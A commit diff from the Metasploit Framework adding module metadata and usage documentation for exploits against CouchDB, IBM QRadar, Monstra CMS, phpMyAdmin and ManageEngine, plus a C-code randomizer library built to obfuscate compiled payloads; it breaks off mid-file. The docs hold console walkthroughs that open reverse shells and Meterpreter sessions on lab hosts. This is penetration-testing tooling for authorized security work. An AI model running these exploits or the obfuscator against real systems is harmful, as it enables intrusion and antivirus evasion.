Merge branch 'master' into soundtrack_logo_module_refs

GSoC/Meterpreter_Web_Console
Brendan Coles 2018-07-13 03:01:33 +10:00 committed by GitHub
commit 104e4cee2e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
55 changed files with 3380 additions and 7 deletions

View File

@ -13870,6 +13870,32 @@
"is_install_path": true,
"ref_name": "scanner/http/dnalims_file_retrieve"
},
"auxiliary_scanner/http/docker_version": {
"name": "Docker Server Version Scanner",
"full_name": "auxiliary/scanner/http/docker_version",
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Agora-Security"
],
"description": "This module attempts to identify the version of a Docker Server running on a\n host. If you wish to see all the information available, set VERBOSE to true.",
"references": [
],
"is_server": false,
"is_client": false,
"platform": "",
"arch": "",
"rport": "2375",
"targets": [
],
"mod_time": "2018-07-12 02:56:47 +0000",
"path": "/modules/auxiliary/scanner/http/docker_version.rb",
"is_install_path": true,
"ref_name": "scanner/http/docker_version"
},
"auxiliary_scanner/http/dolibarr_login": {
"name": "Dolibarr ERP/CRM Login Utility",
"full_name": "auxiliary/scanner/http/dolibarr_login",
@ -30491,6 +30517,40 @@
"is_install_path": true,
"ref_name": "linux/http/apache_continuum_cmd_exec"
},
"exploit_linux/http/apache_couchdb_cmd_exec": {
"name": "Apache CouchDB Arbitrary Command Execution",
"full_name": "exploit/linux/http/apache_couchdb_cmd_exec",
"rank": 600,
"disclosure_date": "2016-04-06 00:00:00 +0000",
"type": "exploit",
"author": [
"Max Justicz",
"Joan Touzet",
"Green-m <greenm.xxoo@gmail.com>"
],
"description": "CouchDB administrative users can configure the database server via HTTP(S).\n Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.\n This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,\n including downloading and executing scripts from the public internet.",
"references": [
"CVE-2017-12636",
"CVE-2017-12635",
"URL-https://justi.cz/security/2017/11/14/couchdb-rce-npm.html",
"URL-http://docs.couchdb.org/en/latest/cve/2017-12636.html",
"URL-https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E"
],
"is_server": false,
"is_client": false,
"platform": "Linux",
"arch": "x86, x64",
"rport": "5984",
"targets": [
"Automatic",
"Apache CouchDB version 1.x",
"Apache CouchDB version 2.x"
],
"mod_time": "2018-07-12 00:49:29 +0000",
"path": "/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb",
"is_install_path": true,
"ref_name": "linux/http/apache_couchdb_cmd_exec"
},
"exploit_linux/http/astium_sqli_upload": {
"name": "Astium Remote Code Execution",
"full_name": "exploit/linux/http/astium_sqli_upload",
@ -31959,6 +32019,38 @@
"is_install_path": true,
"ref_name": "linux/http/huawei_hg532n_cmdinject"
},
"exploit_linux/http/ibm_qradar_unauth_rce": {
"name": "IBM QRadar SIEM Unauthenticated Remote Code Execution",
"full_name": "exploit/linux/http/ibm_qradar_unauth_rce",
"rank": 600,
"disclosure_date": "2018-05-28 00:00:00 +0000",
"type": "exploit",
"author": [
"Pedro Ribeiro <pedrib@gmail.com>"
],
"description": "IBM QRadar SIEM has three vulnerabilities in the Forensics web application\n that when chained together allow an attacker to achieve unauthenticated remote code execution.\n\n The first stage bypasses authentication by fixating session cookies.\n The second stage uses those authenticated sessions cookies to write a file to disk and execute\n that file as the \"nobody\" user.\n The third and final stage occurs when the file executed as \"nobody\" writes an entry into the\n database that causes QRadar to execute a shell script controlled by the attacker as root within\n the next minute.\n Details about these vulnerabilities can be found in the advisories listed in References.\n\n The Forensics web application is disabled in QRadar Community Edition, but the code still works,\n so these vulnerabilities can be exploited in all flavours of QRadar.\n This module was tested with IBM QRadar CE 7.3.0 and 7.3.1. IBM has confirmed versions up to 7.2.8\n patch 12 and 7.3.1 patch 3 are vulnerable.\n Due to payload constraints, this module only runs a generic/shell_reverse_tcp payload.",
"references": [
"CVE-2016-9722",
"CVE-2018-1418",
"CVE-2018-1612",
"URL-https://blogs.securiteam.com/index.php/archives/3689",
"URL-https://raw.githubusercontent.com/pedrib/PoC/master/advisories/ibm-qradar-siem-forensics.txt",
"URL-http://seclists.org/fulldisclosure/2018/May/54",
"URL-http://www-01.ibm.com/support/docview.wss?uid=swg22015797"
],
"is_server": false,
"is_client": true,
"platform": "Unix",
"arch": "cmd",
"rport": "443",
"targets": [
"IBM QRadar SIEM <= 7.3.1 Patch 2 / 7.2.8 Patch 11"
],
"mod_time": "2018-06-30 12:06:16 +0000",
"path": "/modules/exploits/linux/http/ibm_qradar_unauth_rce.rb",
"is_install_path": true,
"ref_name": "linux/http/ibm_qradar_unauth_rce"
},
"exploit_linux/http/ipfire_bashbug_exec": {
"name": "IPFire Bash Environment Variable Injection (Shellshock)",
"full_name": "exploit/linux/http/ipfire_bashbug_exec",
@ -40980,6 +41072,37 @@
"is_install_path": true,
"ref_name": "multi/http/mobilecartly_upload_exec"
},
"exploit_multi/http/monstra_fileupload_exec": {
"name": "Monstra CMS Authenticated Arbitrary File Upload",
"full_name": "exploit/multi/http/monstra_fileupload_exec",
"rank": 600,
"disclosure_date": "2017-12-18 00:00:00 +0000",
"type": "exploit",
"author": [
"Ishaq Mohammed <shaikhishaq201@gmail.com>",
"Touhid M.Shaikh <touhidshaikh22@gmail.com>"
],
"description": "MonstraCMS 3.0.4 allows users to upload Arbitrary files which leads to remote command execution on the remote server.\n An attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file.\n This module was tested against MonstraCMS 3.0.4.",
"references": [
"CVE-2017-18048",
"EDB-43348",
"URL-https://blogs.securiteam.com/index.php/archives/3559",
"URL-https://securityprince.blogspot.com/2017/12/monstra-cms-304-arbitrary-file-upload.html?m=1",
"URL-https://www.youtube.com/watch?v=-ziZ6DELbzw"
],
"is_server": true,
"is_client": false,
"platform": "PHP",
"arch": "php",
"rport": "80",
"targets": [
"Monstra CMS 3.0.4"
],
"mod_time": "2018-07-10 14:13:57 +0000",
"path": "/modules/exploits/multi/http/monstra_fileupload_exec.rb",
"is_install_path": true,
"ref_name": "multi/http/monstra_fileupload_exec"
},
"exploit_multi/http/moodle_cmd_exec": {
"name": "Moodle Remote Command Execution",
"full_name": "exploit/multi/http/moodle_cmd_exec",
@ -41820,6 +41943,41 @@
"is_install_path": true,
"ref_name": "multi/http/phpmyadmin_3522_backdoor"
},
"exploit_multi/http/phpmyadmin_lfi_rce": {
"name": "phpMyAdmin Authenticated Remote Code Execution",
"full_name": "exploit/multi/http/phpmyadmin_lfi_rce",
"rank": 400,
"disclosure_date": "2018-06-19 00:00:00 +0000",
"type": "exploit",
"author": [
"ChaMd5",
"Henry Huang",
"Jacob Robles"
],
"description": "phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion,\n which can be exploited post-authentication to execute PHP code by\n application. The module has been tested with phpMyAdmin v4.8.1.",
"references": [
"BID-104532",
"CVE-2018-12613",
"CWE-661",
"URL-https://www.phpmyadmin.net/security/PMASA-2018-4/",
"URL-https://www.secpulse.com/archives/72817.html",
"URL-https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/"
],
"is_server": true,
"is_client": false,
"platform": "PHP",
"arch": "php",
"rport": "80",
"targets": [
"Automatic",
"Windows",
"Linux"
],
"mod_time": "2018-07-09 09:29:11 +0000",
"path": "/modules/exploits/multi/http/phpmyadmin_lfi_rce.rb",
"is_install_path": true,
"ref_name": "multi/http/phpmyadmin_lfi_rce"
},
"exploit_multi/http/phpmyadmin_null_termination_exec": {
"name": "phpMyAdmin Authenticated Remote Code Execution",
"full_name": "exploit/multi/http/phpmyadmin_null_termination_exec",
@ -71138,6 +71296,32 @@
"is_install_path": true,
"ref_name": "windows/http/manage_engine_opmanager_rce"
},
"exploit_windows/http/manageengine_adshacluster_rce": {
"name": "Manage Engine Exchange Reporter Plus Unauthenticated RCE",
"full_name": "exploit/windows/http/manageengine_adshacluster_rce",
"rank": 600,
"disclosure_date": "2018-06-28",
"type": "exploit",
"author": [
"Kacper Szurek <kacperszurek@gmail.com>"
],
"description": "This module exploits a remote code execution vulnerability that\n exists in Exchange Reporter Plus <= 5310, caused by execution of\n bcp.exe file inside ADSHACluster servlet",
"references": [
"URL-https://security.szurek.pl/manage-engine-exchange-reporter-plus-unauthenticated-rce.html"
],
"is_server": true,
"is_client": false,
"platform": "Windows",
"arch": "x86, x64",
"rport": "8181",
"targets": [
"Automatic"
],
"mod_time": "2018-07-12 14:27:28 +0000",
"path": "/modules/exploits/windows/http/manageengine_adshacluster_rce.rb",
"is_install_path": true,
"ref_name": "windows/http/manageengine_adshacluster_rce"
},
"exploit_windows/http/manageengine_appmanager_exec": {
"name": "ManageEngine Applications Manager Remote Code Execution",
"full_name": "exploit/windows/http/manageengine_appmanager_exec",
@ -82222,7 +82406,7 @@
"targets": [
"Windows 7 and Server 2008 R2 (x64) All Service Packs"
],
"mod_time": "2018-06-27 19:17:18 +0000",
"mod_time": "2018-07-10 11:05:00 +0000",
"path": "/modules/exploits/windows/smb/ms17_010_eternalblue.rb",
"is_install_path": true,
"ref_name": "windows/smb/ms17_010_eternalblue"

View File

@ -0,0 +1,28 @@
## Intro
This module scans for Docker servers listening on a TCP port (default 2375).
## Options
**VERBOSE**
Enable this to dump all info to the screen.
## Usage
```
msf5 > use auxiliary/scanner/http/docker_version
msf5 auxiliary(scanner/http/docker_version) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 auxiliary(scanner/http/docker_version) > set verbose true
verbose => true
msf5 auxiliary(scanner/http/docker_version) > run
[*] Identifying Docker Server Version on 127.0.0.1:2375
[+] [Docker Server] Version: 18.03.1-ce
[*] All info: {"Platform"=>{"Name"=>""}, "Components"=>[{"Name"=>"Engine", "Version"=>"18.03.1-ce", "Details"=>{"ApiVersion"=>"1.37", "Arch"=>"amd64", "BuildTime"=>"2018-04-26T07:15:24.000000000+00:00", "Experimental"=>"false", "GitCommit"=>"9ee9f40", "GoVersion"=>"go1.9.5", "KernelVersion"=>"[redacted]", "MinAPIVersion"=>"1.12", "Os"=>"linux"}}], "Version"=>"18.03.1-ce", "ApiVersion"=>"1.37", "MinAPIVersion"=>"1.12", "GitCommit"=>"9ee9f40", "GoVersion"=>"go1.9.5", "Os"=>"linux", "Arch"=>"amd64", "KernelVersion"=>"[redacted]", "BuildTime"=>"2018-04-26T07:15:24.000000000+00:00"}
[*] Saving host information.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/docker_version) >
```

View File

@ -0,0 +1,111 @@
## Description
CouchDB administrative users can configure the database server via HTTP(S).Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,including downloading and executing scripts from the public internet.
## Vulnerable Application
**Vulnerable Application Link**
- docker
Couchdb 2.x: https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635
Couchdb 1.x: https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12636
## Vulnerable Application Installation Setup.
Change dictory to CVE-2017-1263X, and run `docker-compose up -d`
## Verification Steps
Example steps in this format (is also in the PR):
1. Install the application
2. Start msfconsole
3. Do: ```use modules/exploits/linux/http/apache_couchdb_cmd_exec.rb```
4. Do: ``check``
``[*] 192.168.77.139:5984 The target appears to be vulnerable.``
5. Do: ``set srvhost <ip>``
6. Do: ``set srvport <port>``
7. Do: ``set lhost <ip>``
8. Do: ``set lport <port>``
9. Do: ``exploit``
10. You should get a shell.
## Options
- URIPATH
``URIPATH`` by default is random, you can change it if you want.
- HttpUsername, HttpPassword
Sometimes it requires authentication, set these options to authorize.
## Scenarios
TESTED AGAINST LINUX
```
msf5 > use modules/exploits/linux/http/apache_couchdb_cmd_exec.rb
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > show options
Module options (exploit/linux/http/apache_couchdb_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword no The password to login with
HttpUsername no The username to login as
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 5984 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit to download and execute. (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set rhost 192.168.77.139
rhost => 192.168.77.139
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > check
[*] 192.168.77.139:5984 The target appears to be vulnerable.
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set srvhost 192.168.77.139
srvhost => 192.168.77.139
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set srvport 8888
srvport => 8888
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set lhost 192.168.77.139
lhost => 192.168.77.139
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > exploit
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 192.168.77.139:4444
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > [*] Using URL: http://192.168.77.139:8888/rXrdf2
[*] 192.168.77.139:5984 - The 1 time to exploit
[*] 192.168.77.139:5984 - Sending the payload to the server...
[*] Command shell session 1 opened (192.168.77.139:4444 -> 172.18.0.2:58348) at 2018-03-27 06:18:21 -0400
[*] Server stopped.
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > sessions -i 1
[*] Starting interaction with 1...
id
uid=1000(couchdb) gid=999(couchdb) groups=999(couchdb)
```

View File

@ -0,0 +1,51 @@
This module exploits three vulnerabilities in the IBM QRadar SIEM, a Forensics web application.
Chained together, they allow an attacker to achieve unauthenticated remote code execution.
The Forensics web application is disabled in QRadar Community Edition, but the code still works,
so these vulnerabilities can be exploited in all flavours of QRadar.
Due to payload constraints, this module only runs a generic/shell_reverse_tcp payload.
## Vulnerable Application
The vulnerable application can be found here: https://developer.ibm.com/qradar/ce/
You will need a valid IBM login, which can be acquired for free, in order to
download the software, but old versions are archived.
This module was tested with IBM QRadar Community Edition 7.3.0 and 7.3.1, but may not work
with the licensed versions (it is unclear if IBM backported a patch or there
was some other reason it does not work).
IBM has confirmed versions up to 7.2.8 patch 12 and 7.3.1 patch 3 are vulnerable.
## Example
```
Module options (exploit/linux/http/ibm_qradar_unauth_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes HTTP server address
SRVPORT 4448 yes HTTP server port
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 IBM QRadar SIEM <= 7.3.1 Patch 2 / 7.2.8 Patch 11
```

View File

@ -0,0 +1,60 @@
## Description
MonstraCMS 3.0.4 allows users to upload arbitrary files which leads to remote command execution on the remote server. An attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file.
This module was tested against MonstraCMS 3.0.4.
Additional information and vulnerabilities can be viewed on Exploit-DB [43348](https://www.exploit-db.com/exploits/43348/).
## Vulnerable Application
Available at [Exploit-DB](https://www.exploit-db.com/apps/23663fc7b47c4c1e476b793ea53660bc-monstra-3.0.4.zip)
### Vulnerable Application Installation Setup
1. Download Application : `https://www.exploit-db.com/apps/23663fc7b47c4c1e476b793ea53660bc-monstra-3.0.4.zip`
2. Extract : `23663fc7b47c4c1e476b793ea53660bc-monstra-3.0.4.zip`
3. Move In WebDirectory : `C:\xampp\htdocs\`
4. Now Visit : http://localhost/
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/multi/http/monstra_fileupload_exec`
4. Do: `set rport <port>`
5. Do: `set rhost <ip>`
6. Do: `set targeturi monstra`
7. Do: `set username USERNAME`
8. Do: `set password PASSWORD`
9. Do: `check`
```
[*] Monstra CMS: 3.0.4
[+] 192.168.0.101:80 The target is vulnerable.
```
10. Do: `set lport <port>`
11. Do: `set lhost <ip>`
12. Do: `exploit`
13. You should get a shell.
## Scenarios
### Monstra CMS on Windows Target
```
msf exploit(multi/http/monstra_fileupload_exec) > check
[*] Monstra CMS: 3.0.4
[+] 192.168.0.101:80 The target is vulnerable.
msf exploit(multi/http/monstra_fileupload_exec) > exploit
[*] Started bind handler
[*] Trying to Login ......
[+] Authentication successful : [ editor : editor ]
[+] CSRF-Token for File Upload : 2a67a7995c15c69a158d897f517e3aff2e3a4ae9
[*] Trying to upload file with malicious Content....
[*] Executing Payload
[*] Sending stage (37775 bytes) to 192.168.0.101
[*] Meterpreter session 1 opened (10.0.2.15:45689 -> 192.168.0.101:4444) at 2018-06-30 12:39:53 +0530
[+] Deleted TSPfeLYdMP.PHP
meterpreter > sysinfo
Computer : 114619-T470P
OS : Windows NT 114619-T470P 10.0 build 16299 (Windows 10) AMD64
Meterpreter : php/windows
meterpreter >
```

View File

@ -0,0 +1,37 @@
## Description
phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion, which can be exploited post-authentication to execute PHP code by application. The module has been tested with phpMyAdmin v4.8.1.
## Vulnerable Application
[phpMyAdmin v4.8.1](https://files.phpmyadmin.net/phpMyAdmin/4.8.1/phpMyAdmin-4.8.1-all-languages.zip) and v4.8.0
## Verification Steps
1. `./msfconsole -q`
2. `use exploit/multi/http/phpmyadmin_lfi_rce`
3. `set rhosts <rhost>`
4. `run`
## Scenarios
### Tested on Windows 7 x64 using PHP 7.2.4 and phpMyAdmin 4.8.1
```
msf5 > use exploit/multi/http/phpmyadmin_lfi_rce
msf5 exploit(multi/http/phpmyadmin_lfi_rce) > set rhosts 172.22.222.122
rhosts => 172.22.222.122
msf5 exploit(multi/http/phpmyadmin_lfi_rce) > run
[*] Started reverse TCP handler on 172.22.222.190:4444
[*] Sending stage (37775 bytes) to 172.22.222.122
[*] Meterpreter session 1 opened (172.22.222.190:4444 -> 172.22.222.122:51999) at 2018-07-05 13:14:39 -0500
meterpreter > getuid
Server username: SYSTEM (0)
meterpreter > sysinfo
Computer :
OS : Windows NT 6.1 build 7601 (Windows 7 Professional Edition Service Pack 1) i586
Meterpreter : php/windows
meterpreter >
```

View File

@ -2,6 +2,7 @@ require 'metasm'
require 'erb'
require 'metasploit/framework/compiler/utils'
require 'metasploit/framework/compiler/headers/windows'
require 'metasploit/framework/obfuscation/crandomizer'
module Metasploit
module Framework
@ -13,7 +14,7 @@ module Metasploit
#
# @param c_template [String] The C source code to compile.
# @param type [Symbol] PE type, either :exe or :dll
# @param cpu [Object] A Metasm cpu object, for example: Metasm::Ia32.new
# @param cpu [Metasm::CPU] A Metasm cpu object, for example: Metasm::Ia32.new
# @raise [NotImplementedError] If the type is not supported.
# @return [String] The compiled code.
def self.compile_c(c_template, type=:exe, cpu=Metasm::Ia32.new)
@ -36,12 +37,40 @@ module Metasploit
# @param out_file [String] The file path to save the binary as.
# @param c_template [String] The C source code to compile.
# @param type [Symbol] PE type, either :exe or :dll
# @param cpu [Object] A Metasm cpu object, for example: Metasm::Ia32.new
# @param cpu [Metasm::CPU] A Metasm cpu object, for example: Metasm::Ia32.new
# @return [Integer] The number of bytes written.
def self.compile_c_to_file(out_file, c_template, type=:exe, cpu=Metasm::Ia32.new)
pe = self.compile(c_template, type)
File.write(out_file, pe)
end
# Returns the binary of a randomized and compiled source code.
#
# @param c_template [String]
#
# @raise [NotImplementedError] If the type is not supported.
# @return [String] The compiled code.
def self.compile_random_c(c_template, opts={})
type = opts[:type] || :exe
cpu = opts[:cpu] || Metasm::Ia32.new
weight = opts[:weight] || 80
headers = Compiler::Headers::Windows.new
source_code = Compiler::Utils.normalize_code(c_template, headers)
randomizer = Metasploit::Framework::Obfuscation::CRandomizer::Parser.new(weight)
randomized_code = randomizer.parse(source_code)
self.compile_c(randomized_code.to_s, type, cpu)
end
# Saves the randomized compiled code as a file. This is basically a wrapper for #self.compile_random_c
#
# @param out_file [String] The file path to save the binary as.
# @param c_template [String] The C source code to randomize and compile.
# @param opts [Hash] Options to pass to #compile_random_c
# @return [Integer] The number of bytes written.
def self.compile_random_c_to_file(out_file, c_template, opts={})
pe = self.compile_random_c(c_template, opts)
File.write(out_file, pe)
end
end
end

View File

@ -0,0 +1,2 @@
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
require 'metasploit/framework/obfuscation/crandomizer/parser'

View File

@ -0,0 +1,18 @@
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
# Used as random statements
require 'metasploit/framework/obfuscation/crandomizer/code_factory/gettickcount'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/if'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/int_assignments'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/malloc'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/outputdebugstring'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/printf'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/string_assignments'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/switch'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/uninit_variables'
# Random functions
require 'metasploit/framework/obfuscation/crandomizer/code_factory/fake_function'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection'

View File

@ -0,0 +1,59 @@
require 'metasploit/framework/obfuscation/crandomizer/utility'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
module CodeFactory
class Base
attr_reader :dep
attr_reader :code
def initialize
@dep = []
@code = normalized_stub
end
# Override this method when you inherit this class.
# The method should return the source of the stub you're trying to create,
# as a C function.
# For example:
# %Q|
# void printf(const char*);
# void stub() {
# printf("hello world\n");
# }|
# Notice if you are using a function like the above, you must declare/define that
# beforehand. The function declaration will not be used in the final source code.
def stub
raise NotImplementedError
end
# Checks whether this class is suitable for the code.
#
# @param parser [Metasm::C::Parser]
# @return [Boolean]
def good_dep?(parser)
# The difference between @dep and parser.toplevel.symbol.keys
# is the list of functions not being supported by the original code.
ready_function_names = parser.toplevel.symbol.keys
delta = dep - ready_function_names
if delta.empty?
true
else
false
end
end
def normalized_stub
stub_parser = Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(stub)
stub_parser.toplevel.statements.last.var.initializer.statements
end
end
end
end
end
end
end

View File

@ -0,0 +1,45 @@
require 'metasploit/framework/obfuscation/crandomizer/utility'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
module CodeFactory
class FakeFunction
attr_reader :attribute
attr_reader :return_type
attr_reader :args
attr_reader :function_name
def initialize(func_name)
@attribute = ['', ' __attribute__((export))'].sample
@return_type = ['int', 'char*', 'void', ].sample
@args = ['int i', 'char* s', 'void'].sample
@function_name = func_name
end
def generate_body
case return_type
when 'int'
rand_return_val = Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int
return_statement = %Q|return #{rand_return_val};|
when 'char*'
rand_return_str = Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string
return_statement = %Q|return "#{rand_return_str}";|
else
return_statement = ''
end
%Q|
#{return_type} #{function_name}#{attribute}(#{args}) {
#{return_statement}
}|
end
end
end
end
end
end
end

View File

@ -0,0 +1,79 @@
require 'metasploit/framework/obfuscation/crandomizer/utility'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
module CodeFactory
class FakeFunctionCollection
attr_accessor :functions
attr_reader :max_functions
# Initializes a Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection instance.
#
# @param max_functions [Integer] Max number of fake functions to generate.
# @return [Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection]
def initialize(max_functions)
@functions = []
@max_functions = max_functions
populate
self
end
# Yields a list of fake functions available.
def each
functions.each do |f|
yield f
end
end
# Returns a fake Metasm::C::Declaration from the FakeFunctionCollection object.
#
# @return [Metasm::C::Declaration]
def sample
functions.sample
end
# Returns a string that joins the fake functions
def to_s
functions.join("\n")
end
# Asks the FakeFunctionCollection if a function is available.
#
# @param name [String]
# @return [Boolean]
def has_function_name?(name)
functions.each do |f|
if f.var.name == name
return true
end
end
false
end
# Checks if the collection is empty or not.
def empty?
functions.empty?
end
private
# Generates a list of fake functions to use.
def populate
max_functions.times do |i|
func_name = "function#{i}"
fake_function = Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunction.new(func_name)
function_code = fake_function.generate_body
stub_parser = Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(function_code)
functions.concat(stub_parser.toplevel.statements)
end
end
end
end
end
end
end
end

View File

@ -0,0 +1,53 @@
require 'metasploit/framework/obfuscation/crandomizer/utility'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
module CodeFactory
class GetTickCount < Base
def initialize
super
@dep = ['GetTickCount']
end
def stub
[
Proc.new { single_gettickcount },
Proc.new { diff_gettickcount }
].sample.call
end
private
def single_gettickcount
%Q|
int GetTickCount();
void stub() {
GetTickCount();
}|
end
def diff_gettickcount
var_name_1 = "tickcount_#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
var_name_2 = "tickcount_#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
%Q|
int GetTickCount();
void stub() {
int #{var_name_1} = GetTickCount();
int #{var_name_2} = GetTickCount();
if (#{var_name_2} - #{var_name_1} > 100) {
#{var_name_1} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
}
}|
end
end
end
end
end
end
end

View File

@ -0,0 +1,68 @@
require 'metasploit/framework/obfuscation/crandomizer/utility'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
module CodeFactory
class If < Base
def stub
[
Proc.new { if_stub },
Proc.new { if_if_else_stub },
Proc.new { if_else_stub }
].sample.call
end
private
def if_stub
var_name = "xforif#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
%Q|
void stub() {
int #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
if (#{var_name}) {
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
}
}|
end
def if_if_else_stub
var_name = "xforif2#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
%Q|
void stub() {
int #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
if (#{var_name}) {
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
} else if (#{var_name} == #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}) {
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
} else {
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
}
}|
end
def if_else_stub
var_name = "xorif3_#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
%Q|
void stub() {
signed #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
if (#{var_name} == #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}) {
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
} else {
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
}
}|
end
end
end
end
end
end
end

View File

@ -0,0 +1,24 @@
require 'metasploit/framework/obfuscation/crandomizer/utility'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
module CodeFactory
class IntAssignments < Base
def stub
var_name = "fakeint_#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
%Q|
void stub() {
int #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
}|
end
end
end
end
end
end
end

View File

@ -0,0 +1,30 @@
require 'metasploit/framework/obfuscation/crandomizer/utility'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
module CodeFactory
class Malloc < Base
def initialize
super
@dep = ['malloc']
end
def stub
var_name = "m#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
%Q|
void* malloc(unsigned int);
void stub() {
void* #{var_name} = malloc(#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int});
}|
end
end
end
end
end
end
end

View File

@ -0,0 +1,48 @@
require 'metasploit/framework/obfuscation/crandomizer/utility'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
module CodeFactory
class OutputDebugString < Base
def initialize
super
@dep = ['OutputDebugString']
end
def stub
[
Proc.new { outputdebugstring_1 },
Proc.new { outputdebugstring_2 }
].sample.call
end
private
def outputdebugstring_1
%Q|
void OutputDebugString(const char*);
void stub() {
OutputDebugString("#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string}");
}|
end
def outputdebugstring_2
var_name = "msg#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
%Q|
void OutputDebugString(const char*);
void stub() {
